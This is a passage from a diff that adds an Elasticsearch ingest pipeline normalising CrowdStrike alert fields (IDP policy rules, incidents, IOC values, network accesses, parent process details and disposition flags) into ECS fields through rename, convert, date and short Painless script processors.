+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      field: json.idp_policy_rule_action
+      tag: convert_idp_policy_rule_action_to_long
+      target_field: crowdstrike.alert.idp_policy.rule_action
+      type: long
+      if: ctx.json?.idp_policy_rule_action != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            tag: append_error_message_478ac271
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      field: json.idp_policy_rule_trigger
+      tag: convert_idp_policy_rule_trigger_to_long
+      target_field: crowdstrike.alert.idp_policy.rule_trigger
+      type: long
+      if: ctx.json?.idp_policy_rule_trigger != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            tag: append_error_message_72eb86c9
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - rename:
+      field: json.idp_policy_rule_id
+      tag: rename_idp_policy_rule_id
+      target_field: crowdstrike.alert.idp_policy.rule_id
+      ignore_missing: true
+  - set:
+      field: rule.id
+      tag: set_rule_id_from_alert_idp_policy_rule_id
+      copy_from: crowdstrike.alert.idp_policy.rule_id
+      ignore_empty_value: true
+  - rename:
+      field: json.idp_policy_rule_name
+      tag: rename_idp_policy_rule_name
+      target_field: crowdstrike.alert.idp_policy.rule_name
+      ignore_missing: true
+  - set:
+      field: rule.name
+      tag: set_rule_name_from_alert_idp_policy_rule_name
+      copy_from: crowdstrike.alert.idp_policy.rule_name
+      ignore_empty_value: true
+  - rename:
+      field: json.image_file_name
+      tag: rename_image_file_name
+      target_field: crowdstrike.alert.image_file_name
+      ignore_missing: true
+  - set:
+      field: file.path
+      tag: set_file_path_from_alert_image_file_name
+      copy_from: crowdstrike.alert.image_file_name
+      ignore_empty_value: true
+  - date:
+      field: json.incident.created
+      tag: date_incident_created
+      target_field: crowdstrike.alert.incident.created
+      formats:
+        - yyyy-MM-dd'T'HH:mm:ss'Z'
+      if: ctx.json?.incident?.created != null && ctx.json.incident.created != ''
+      on_failure:
+        - append:
+            tag: append_error_message_1b08aaf8
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - date:
+      field: json.incident.end
+      tag: date_incident_end
+      target_field: crowdstrike.alert.incident.end
+      formats:
+        - yyyy-MM-dd'T'HH:mm:ss'Z'
+      if: ctx.json?.incident?.end != null && ctx.json.incident.end != ''
+      on_failure:
+        - append:
+            tag: append_error_message_9682a107
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - rename:
+      field: json.incident.id
+      tag: rename_incident_id
+      target_field: crowdstrike.alert.incident.id
+      ignore_missing: true
+  - convert:
+      field: json.incident.score
+      tag: convert_incident_score_to_double
+      target_field: crowdstrike.alert.incident.score
+      type: double
+      if: ctx.json?.incident?.score != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            tag: append_error_message_4fbe1f42
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - date:
+      field: json.incident.start
+      tag: date_incident_start
+      target_field: crowdstrike.alert.incident.start
+      formats:
+        - yyyy-MM-dd'T'HH:mm:ss'Z'
+      if: ctx.json?.incident?.start != null && ctx.json.incident.start != ''
+      on_failure:
+        - append:
+            tag: append_error_message_8f19278c
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+
+  - rename:
+      field: json.indicator_id
+      tag: rename_indicator_id
+      target_field: crowdstrike.alert.indicator_id
+      ignore_missing: true
+  - rename:
+      field: json.ioc_context
+      tag: rename_ioc_context
+      target_field: crowdstrike.alert.ioc_context
+      ignore_missing: true
+  - foreach:
+      tag: foreach_crowdstrike_alert_ioc_context_3f9e797e
+      field: crowdstrike.alert.ioc_context
+      if: ctx.crowdstrike?.alert?.ioc_context instanceof List
+      ignore_failure: true
+      processor:
+        append:
+          field: related.hash
+          tag: append_ioc_context_md5_to_related_hash
+          value: '{{{_ingest._value.md5}}}'
+          allow_duplicates: false
+  - foreach:
+      tag: foreach_crowdstrike_alert_ioc_context_f5ad7768
+      field: crowdstrike.alert.ioc_context
+      if: ctx.crowdstrike?.alert?.ioc_context instanceof List
+      ignore_failure: true
+      processor:
+        append:
+          field: related.hash
+          tag: append_ioc_context_sha256_to_related_hash
+          value: '{{{_ingest._value.sha256}}}'
+          allow_duplicates: false
+  - rename:
+      field: json.ioc_description
+      tag: rename_ioc_description
+      target_field: crowdstrike.alert.ioc_description
+      ignore_missing: true
+  - rename:
+      field: json.ioc_source
+      tag: rename_ioc_source
+      target_field: crowdstrike.alert.ioc_source
+      ignore_missing: true
+  - rename:
+      field: json.ioc_type
+      tag: rename_ioc_type
+      target_field: crowdstrike.alert.ioc_type
+      ignore_missing: true
+  - rename:
+      field: json.ioc_value
+      tag: rename_ioc_value
+      target_field: crowdstrike.alert.ioc_value
+      ignore_missing: true
+  - rename:
+      field: json.ioc_values
+      tag: rename_ioc_values
+      target_field: crowdstrike.alert.ioc_values
+      ignore_missing: true
+  - append:
+      field: crowdstrike.alert.ioc_values
+      tag: append_ioc_value_to_ioc_values
+      value: '{{{crowdstrike.alert.ioc_value}}}'
+      if: ctx.crowdstrike?.alert?.ioc_value != null
+      allow_duplicates: false
+  - foreach:
+      tag: reconstruct_ioc_values_from_ioc_context
+      field: crowdstrike.alert.ioc_context
+      if: ctx.crowdstrike?.alert?.ioc_context instanceof List
+      ignore_failure: true
+      processor:
+        append:
+          field: crowdstrike.alert.ioc_values
+          tag: append_ioc_context_ioc_value_to_ioc_values
+          value: '{{{_ingest._value.ioc_value}}}'
+          allow_duplicates: false
+  - convert:
+      field: json.is_synthetic_quarantine_disposition
+      tag: convert_is_synthetic_quarantine_disposition_to_boolean
+      target_field: crowdstrike.alert.is_synthetic_quarantine_disposition
+      type: boolean
+      if: ctx.json?.is_synthetic_quarantine_disposition != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            tag: append_error_message_0ae0c1e8
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - script:
+      tag: reconstruct_is_synthetic_quarantine_disposition_from_pattern_disposition_details
+      lang: painless
+      if: ctx.crowdstrike?.alert?.is_synthetic_quarantine_disposition == null && ctx.json?.pattern_disposition_details instanceof Map
+      source: |
+        if (ctx.crowdstrike == null) {
+          ctx.crowdstrike = [:];
+        }
+        if (ctx.crowdstrike.alert == null) {
+          ctx.crowdstrike.alert = [:];
+        }
+        for (def d: ctx.json.pattern_disposition_details.entrySet()) {
+          if (d.getKey() == 'quarantine_file') {
+            ctx.crowdstrike.alert.is_synthetic_quarantine_disposition = d.getValue();
+            return;
+          }
+        }
+        ctx.crowdstrike.alert.is_synthetic_quarantine_disposition = false;
+  - convert:
+      field: json.ldap_search_query_attack
+      tag: convert_ldap_search_query_attack_to_long
+      target_field: crowdstrike.alert.ldap_search_query_attack
+      type: long
+      if: ctx.json?.ldap_search_query_attack != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            tag: append_error_message_6367d526
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - rename:
+      field: json.local_prevalence
+      tag: rename_local_prevalence
+      target_field: crowdstrike.alert.local_prevalence
+      ignore_missing: true
+  - rename:
+      field: json.local_process_id
+      tag: rename_local_process_id
+      target_field: crowdstrike.alert.local_process_id
+      ignore_missing: true
+  - rename:
+      field: json.location_country_code
+      tag: rename_location_country_code
+      target_field: crowdstrike.alert.location_country_code
+      ignore_missing: true
+  - set:
+      field: observer.geo.country_iso_code
+      tag: set_observer_geo_country_iso_code_from_alert_location_country_code
+      copy_from: crowdstrike.alert.location_country_code
+      ignore_empty_value: true
+  - convert:
+      field: json.location_latitude_as_int
+      tag: convert_location_latitude_as_int_to_long
+      target_field: crowdstrike.alert.location_latitude_as_int
+      type: long
+      if: ctx.json?.location_latitude_as_int != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            tag: append_error_message_ce2b0cb6
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      field: json.location_longitude_as_int
+      tag: convert_location_longitude_as_int_to_long
+      target_field: crowdstrike.alert.location_longitude_as_int
+      type: long
+      if: ctx.json?.location_longitude_as_int != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            tag: append_error_message_6174bcc0
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - script:
+      description: combine latitude and longitude.
+      tag: script_to_combine_latitude_and_longitude
+      lang: painless
+      if: ctx.crowdstrike?.alert?.location_latitude_as_int != null && ctx.crowdstrike?.alert?.location_longitude_as_int != null
+      source: |-
+          def location = new HashMap();
+          location.put('lat', ctx.crowdstrike.alert.location_latitude_as_int);
+          location.put('lon', ctx.crowdstrike.alert.location_longitude_as_int);
+          if(ctx.observer == null) {
+            ctx.put('observer', new HashMap());
+          }
+          if(ctx.observer.geo == null){
+            ctx.observer.put('geo', new HashMap());
+          }
+          ctx.observer.geo.location = location;
+  - rename:
+      field: json.logon_domain
+      tag: rename_logon_domain
+      target_field: crowdstrike.alert.logon_domain
+      ignore_missing: true
+  - rename:
+      field: json.md5
+      tag: rename_md5
+      target_field: crowdstrike.alert.md5
+      ignore_missing: true
+  - set:
+      field: process.hash.md5
+      tag: set_process_hash_md5
+      copy_from: crowdstrike.alert.md5
+      ignore_empty_value: true
+  - append:
+      tag: append_related_hash_a08aaaeb
+      field: related.hash
+      value: '{{{crowdstrike.alert.md5}}}'
+      allow_duplicates: false
+      if: ctx.crowdstrike?.alert?.md5 != null
+  - rename:
+      field: json.model_anomaly_indicators
+      tag: rename_model_anomaly_indicators
+      target_field: crowdstrike.alert.model_anomaly_indicators
+      ignore_missing: true
+  - rename:
+      field: json.name
+      tag: rename_name
+      target_field: crowdstrike.alert.name
+      ignore_missing: true
+  - foreach:
+      tag: foreach_json_network_accesses_ff581076
+      field: json.network_accesses
+      if: ctx.json?.network_accesses instanceof List
+      processor:
+        date:
+          field: _ingest._value.access_timestamp
+          tag: date_network_accesses_access_timestamp
+          target_field: _ingest._value.access_timestamp
+          formats:
+            - UNIX
+            - UNIX_MS
+          on_failure:
+            - remove:
+                field: _ingest._value.access_timestamp
+                ignore_missing: true
+  - foreach:
+      tag: foreach_json_network_accesses_318ca723
+      field: json.network_accesses
+      if: ctx.json?.network_accesses instanceof List
+      processor:
+        convert:
+          field: _ingest._value.access_type
+          tag: convert_network_accesses_access_type_to_long
+          type: long
+          ignore_missing: true
+          on_failure:
+            - remove:
+                field: _ingest._value.access_type
+                ignore_missing: true
+            - append:
+                field: error.message
+                value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - foreach:
+      tag: foreach_json_network_accesses_1e51a8d3
+      field: json.network_accesses
+      if: ctx.json?.network_accesses instanceof List
+      processor:
+        convert:
+          field: _ingest._value.isIPV6
+          tag: convert_network_accesses_isIPV6_to_boolean
+          type: boolean
+          ignore_missing: true
+          on_failure:
+            - remove:
+                field: _ingest._value.isIPV6
+                ignore_missing: true
+            - append:
+                field: error.message
+                value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - foreach:
+      tag: foreach_json_network_accesses_1ede2c2a
+      field: json.network_accesses
+      if: ctx.json?.network_accesses instanceof List
+      processor:
+        convert:
+          field: _ingest._value.local_address
+          tag: convert_network_accesses_local_address_to_ip
+          type: ip
+          ignore_missing: true
+          on_failure:
+            - remove:
+                field: _ingest._value.local_address
+                ignore_missing: true
+            - append:
+                field: error.message
+                value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - foreach:
+      tag: foreach_json_network_accesses_3fff7cf5
+      field: json.network_accesses
+      if: ctx.json?.network_accesses instanceof List
+      processor:
+        append:
+          field: related.ip
+          tag: append_network_accesses_local_address_into_related_ip
+          value: '{{{_ingest._value.local_address}}}'
+          allow_duplicates: false
+  - foreach:
+      tag: foreach_json_network_accesses_7d5dd5fd
+      field: json.network_accesses
+      if: ctx.json?.network_accesses instanceof List
+      processor:
+        convert:
+          field: _ingest._value.local_port
+          tag: convert_network_accesses_local_port_to_long
+          type: long
+          ignore_missing: true
+          on_failure:
+            - remove:
+                field: _ingest._value.local_port
+                ignore_missing: true
+            - append:
+                field: error.message
+                value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - foreach:
+      tag: foreach_json_network_accesses_4b460423
+      field: json.network_accesses
+      if: ctx.json?.network_accesses instanceof List
+      processor:
+        convert:
+          field: _ingest._value.remote_address
+          tag: convert_network_accesses_remote_address_to_ip
+          type: ip
+          ignore_missing: true
+          on_failure:
+            - remove:
+                field: _ingest._value.remote_address
+                ignore_missing: true
+            - append:
+                field: error.message
+                value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - foreach:
+      tag: foreach_json_network_accesses_5f45fe37
+      field: json.network_accesses
+      if: ctx.json?.network_accesses instanceof List
+      processor:
+        append:
+          field: related.ip
+          tag: append_network_accesses_remote_address_into_related_ip
+          value: '{{{_ingest._value.remote_address}}}'
+          allow_duplicates: false
+  - foreach:
+      tag: foreach_json_network_accesses_7a97418a
+      field: json.network_accesses
+      if: ctx.json?.network_accesses instanceof List
+      processor:
+        convert:
+          field: _ingest._value.remote_port
+          tag: convert_network_accesses_remote_port_to_long
+          type: long
+          ignore_missing: true
+          on_failure:
+            - remove:
+                field: _ingest._value.remote_port
+                ignore_missing: true
+            - append:
+                field: error.message
+                value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - rename:
+      field: json.network_accesses
+      tag: rename_network_accesses
+      target_field: crowdstrike.alert.network_accesses
+      ignore_missing: true
+  - rename:
+      field: json.objective
+      tag: rename_objective
+      target_field: crowdstrike.alert.objective
+      ignore_missing: true
+  - rename:
+      field: json.operating_system
+      tag: rename_operating_system
+      target_field: crowdstrike.alert.operating_system
+      ignore_missing: true
+  - set:
+      field: host.os.name
+      tag: set_host_os_name_from_alert_operating_system
+      copy_from: crowdstrike.alert.operating_system
+      ignore_empty_value: true
+  - script:
+      description: Dynamically set host.os.type values.
+      tag: script_map_host_os_type
+      lang: painless
+      params:
+        os_type:
+          - linux
+          - macos
+          - unix
+          - windows
+          - ios
+          - android
+      source: |
+        if (ctx.crowdstrike?.alert?.device?.platform_name != null) {
+          String platform_name = ctx.crowdstrike.alert.device.platform_name.toLowerCase();
+          for (String os: params.os_type) {
+            if (platform_name.contains(os)) {
+              ctx.host.os.put('type', os);
+              return;
+            }
+          }
+        } else if (ctx.crowdstrike?.alert?.operating_system != null) {
+          String operating_system = ctx.crowdstrike.alert.operating_system.toLowerCase();
+          for (String os: params.os_type) {
+            if (operating_system.contains(os)) {
+              ctx.host.os.put('type', os);
+              return;
+            }
+          }
+        }
+  - rename:
+      field: json.os_name
+      tag: rename_os_name
+      target_field: crowdstrike.alert.os_name
+      ignore_missing: true
+  - set:
+      field: host.os.family
+      tag: set_host_os_family_from_alert_os_name
+      copy_from: crowdstrike.alert.os_name
+      ignore_empty_value: true
+  - rename:
+      field: json.parent_details.cmdline
+      tag: rename_parent_details_cmdline
+      target_field: crowdstrike.alert.parent_details.cmdline
+      ignore_missing: true
+  - set:
+      field: process.parent.command_line
+      tag: set_process_parent_command_line_from_alert_parent_details_cmdline
+      copy_from: crowdstrike.alert.parent_details.cmdline
+      ignore_empty_value: true
+  - rename:
+      field: json.parent_details.filename
+      tag: rename_parent_details_filename
+      target_field: crowdstrike.alert.parent_details.filename
+      ignore_missing: true
+  - set:
+      field: process.parent.name
+      tag: set_process_parent_name
+      copy_from: crowdstrike.alert.parent_details.filename
+      ignore_empty_value: true
+  - rename:
+      field: json.parent_details.filepath
+      tag: rename_parent_details_filepath
+      target_field: crowdstrike.alert.parent_details.filepath
+      ignore_missing: true
+  - set:
+      field: process.parent.executable
+      tag: set_process_parent_executable
+      copy_from: crowdstrike.alert.parent_details.filepath
+      ignore_empty_value: true
+  - rename:
+      field: json.parent_details.local_process_id
+      tag: rename_parent_details_local_process_id
+      target_field: crowdstrike.alert.parent_details.local_process_id
+      ignore_missing: true
+  - rename:
+      field: json.parent_details.md5
+      tag: rename_parent_details_md5
+      target_field: crowdstrike.alert.parent_details.md5
+      ignore_missing: true
+  - append:
+      tag: append_related_hash_ed393c44
+      field: related.hash
+      value: '{{{crowdstrike.alert.parent_details.md5}}}'
+      allow_duplicates: false
+      if: ctx.crowdstrike?.alert?.parent_details?.md5 != null
+  - set:
+      field: process.parent.hash.md5
+      tag: set_process_parent_hash_md5_from_alert_parent_details_md5
+      copy_from: crowdstrike.alert.parent_details.md5
+      ignore_empty_value: true
+  - rename:
+      field: json.parent_details.process_graph_id
+      tag: rename_parent_details_process_graph_id
+      target_field: crowdstrike.alert.parent_details.process_graph_id
+      ignore_missing: true
+  - rename:
+      field: json.parent_details.process_id
+      tag: rename_parent_details_process_id
+      target_field: crowdstrike.alert.parent_details.process_id
+      ignore_missing: true
+  - rename:
+      field: json.parent_details.sha256
+      tag: rename_parent_details_sha256
+      target_field: crowdstrike.alert.parent_details.sha256
+      ignore_missing: true
+  - set:
+      field: process.parent.hash.sha256
+      tag: set_process_parent_hash_sha256_from_alert_parent_details_sha256
+      copy_from: crowdstrike.alert.parent_details.sha256
+      ignore_empty_value: true
+  - append:
+      tag: append_related_hash_94e1cdf8
+      field: related.hash
+      value: '{{{crowdstrike.alert.parent_details.sha256}}}'
+      allow_duplicates: false
+      if: ctx.crowdstrike?.alert?.parent_details?.sha256 != null
+  - date:
+      field: json.parent_details.timestamp
+      tag: date_parent_details_timestamp
+      target_field: crowdstrike.alert.parent_details.timestamp
+      formats:
+        - ISO8601
+      if: ctx.json?.parent_details?.timestamp != null && ctx.json.parent_details.timestamp != ''
+      on_failure:
+        - append:
+            tag: append_error_message_a27d7807
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - rename:
+      field: json.parent_details.user_graph_id
+      tag: rename_parent_details_user_graph_id
+      target_field: crowdstrike.alert.parent_details.user_graph_id
+      ignore_missing: true
+  - append:
+      field: related.user
+      tag: append_parent_details_user_graph_id_into_related_user
+      value: '{{{crowdstrike.alert.parent_details.user_graph_id}}}'
+      allow_duplicates: false
+      if: ctx.crowdstrike?.alert?.parent_details?.user_graph_id != null
+  - rename:
+      field: json.parent_details.user_id
+      tag: rename_parent_details_user_id
+      target_field: crowdstrike.alert.parent_details.user_id
+      ignore_missing: true
+  - set:
+      field: process.user.id
+      tag: set_process_user_id_from_alert_parent_details_user_id
+      copy_from: crowdstrike.alert.parent_details.user_id
+      ignore_empty_value: true
+  - rename:
+      field: json.parent_details.user_name
+      tag: rename_parent_details_user_name
+      target_field: crowdstrike.alert.parent_details.user_name
+      ignore_missing: true
+  - set:
+      field: process.user.name
+      tag: set_process_user_name_from_alert_parent_details_user_name
+      copy_from: crowdstrike.alert.parent_details.user_name
+      ignore_empty_value: true
+  - append:
+      field: related.user
+      tag: append_parent_details_user_id_into_related_user
+      value: '{{{crowdstrike.alert.parent_details.user_id}}}'
+      allow_duplicates: false
+      if: ctx.crowdstrike?.alert?.parent_details?.user_id != null
+  - append:
+      field: related.user
+      tag: append_parent_details_user_name_into_related_user
+      value: '{{{crowdstrike.alert.parent_details.user_name}}}'
+      allow_duplicates: false
+      if: ctx.crowdstrike?.alert?.parent_details?.user_name != null
+  - rename:
+      field: json.parent_process_id
+      tag: rename_parent_process_id
+      target_field: crowdstrike.alert.parent_process_id
+      ignore_missing: true
+  - set:
+      field: process.parent.entity_id
+      tag: set_process_parent_entity_id
+      copy_from: crowdstrike.alert.parent_process_id
+      ignore_empty_value: true
+  - convert:
+      field: crowdstrike.alert.parent_process_id
+      tag: convert_alert_parent_process_id
+      target_field: process.parent.pid
+      type: long
+      if: ctx.crowdstrike?.alert?.parent_process_id != ''
+      ignore_missing: true
+      on_failure:
+        - append:
+            tag: append_error_message_4d8b91ba
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      field: json.pattern_disposition
+      tag: convert_pattern_disposition_to_long
+      target_field: crowdstrike.alert.pattern_disposition
+      type: long
+      if: ctx.json?.pattern_disposition != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            tag: append_error_message_6d9249e4
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - rename:
+      field: json.pattern_disposition_description
+      tag: rename_pattern_disposition_description
+      target_field: crowdstrike.alert.pattern_disposition_description
+      ignore_missing: true
+  - convert:
+      field: json.pattern_disposition_details.blocking_unsupported_or_disabled
+      tag: convert_pattern_disposition_details_blocking_unsupported_or_disabled_to_boolean
+      target_field: crowdstrike.alert.pattern_disposition_details.blocking_unsupported_or_disabled
+      type: boolean
+      if: ctx.json?.pattern_disposition_details?.blocking_unsupported_or_disabled != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            tag: append_error_message_6c758146
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      field: json.pattern_disposition_details.bootup_safeguard_enabled
+      tag: convert_pattern_disposition_details_bootup_safeguard_enabled_to_boolean
+      target_field: crowdstrike.alert.pattern_disposition_details.bootup_safeguard_enabled
+      type: boolean
+      if: ctx.json?.pattern_disposition_details?.bootup_safeguard_enabled != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            tag: append_error_message_d1b98da6
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      field: json.pattern_disposition_details.containment_file_system
+      tag: convert_pattern_disposition_details_containment_file_system_to_boolean
+      target_field: crowdstrike.alert.pattern_disposition_details.containment_file_system
+      type: boolean
+      if: ctx.json?.pattern_disposition_details?.containment_file_system != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            tag: append_error_message_119c3892
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      field: json.pattern_disposition_details.critical_process_disabled
+      tag: convert_pattern_disposition_details_critical_process_disabled_to_boolean
+      target_field: crowdstrike.alert.pattern_disposition_details.critical_process_disabled
+      type: boolean
+      if: ctx.json?.pattern_disposition_details?.critical_process_disabled != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            tag: append_error_message_6f96f132
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      field: json.pattern_disposition_details.detect
+      tag: convert_pattern_disposition_details_detect_to_boolean
+      target_field: crowdstrike.alert.pattern_disposition_details.detect
+      type: boolean
+      if: ctx.json?.pattern_disposition_details?.detect != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            tag: append_error_message_7751ab8a
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      field: json.pattern_disposition_details.fs_operation_blocked
+      tag: convert_pattern_disposition_details_fs_operation_blocked_to_boolean
+      target_field: crowdstrike.alert.pattern_disposition_details.fs_operation_blocked
+      type: boolean
+      if: ctx.json?.pattern_disposition_details?.fs_operation_blocked != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            tag: append_error_message_61002fc2
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      field: json.pattern_disposition_details.handle_operation_downgraded
+      tag: convert_pattern_disposition_details_handle_operation_downgraded_to_boolean
+      target_field: crowdstrike.alert.pattern_disposition_details.handle_operation_downgraded
+      type: boolean
+      if: ctx.json?.pattern_disposition_details?.handle_operation_downgraded != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            tag: append_error_message_a2ef9e8a
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      field: json.pattern_disposition_details.inddet_mask
+      tag: convert_pattern_disposition_details_inddet_mask_to_boolean
+      target_field: crowdstrike.alert.pattern_disposition_details.inddet_mask
+      type: boolean
+      if: ctx.json?.pattern_disposition_details?.inddet_mask != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            tag: append_error_message_bda6a766
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      field: json.pattern_disposition_details.indicator
+      tag: convert_pattern_disposition_details_indicator_to_boolean
+      target_field: crowdstrike.alert.pattern_disposition_details.indicator
+      type: boolean
+      if: ctx.json?.pattern_disposition_details?.indicator != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            tag: append_error_message_ba747b92
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      field: json.pattern_disposition_details.kill_action_failed
+      tag: convert_pattern_disposition_details_kill_action_failed_to_boolean
+      target_field: crowdstrike.alert.pattern_disposition_details.kill_action_failed
+      type: boolean
+      if: ctx.json?.pattern_disposition_details?.kill_action_failed != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            tag: append_error_message_e59d19d6
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      field: json.pattern_disposition_details.kill_parent
+      tag: convert_pattern_disposition_details_kill_parent_to_boolean
+      target_field: crowdstrike.alert.pattern_disposition_details.kill_parent
+      type: boolean
+      if: ctx.json?.pattern_disposition_details?.kill_parent != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            tag: append_error_message_5d89abba
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      field: json.pattern_disposition_details.kill_process
+      tag: convert_pattern_disposition_details_kill_process_to_boolean
+      target_field: crowdstrike.alert.pattern_disposition_details.kill_process
+      type: boolean
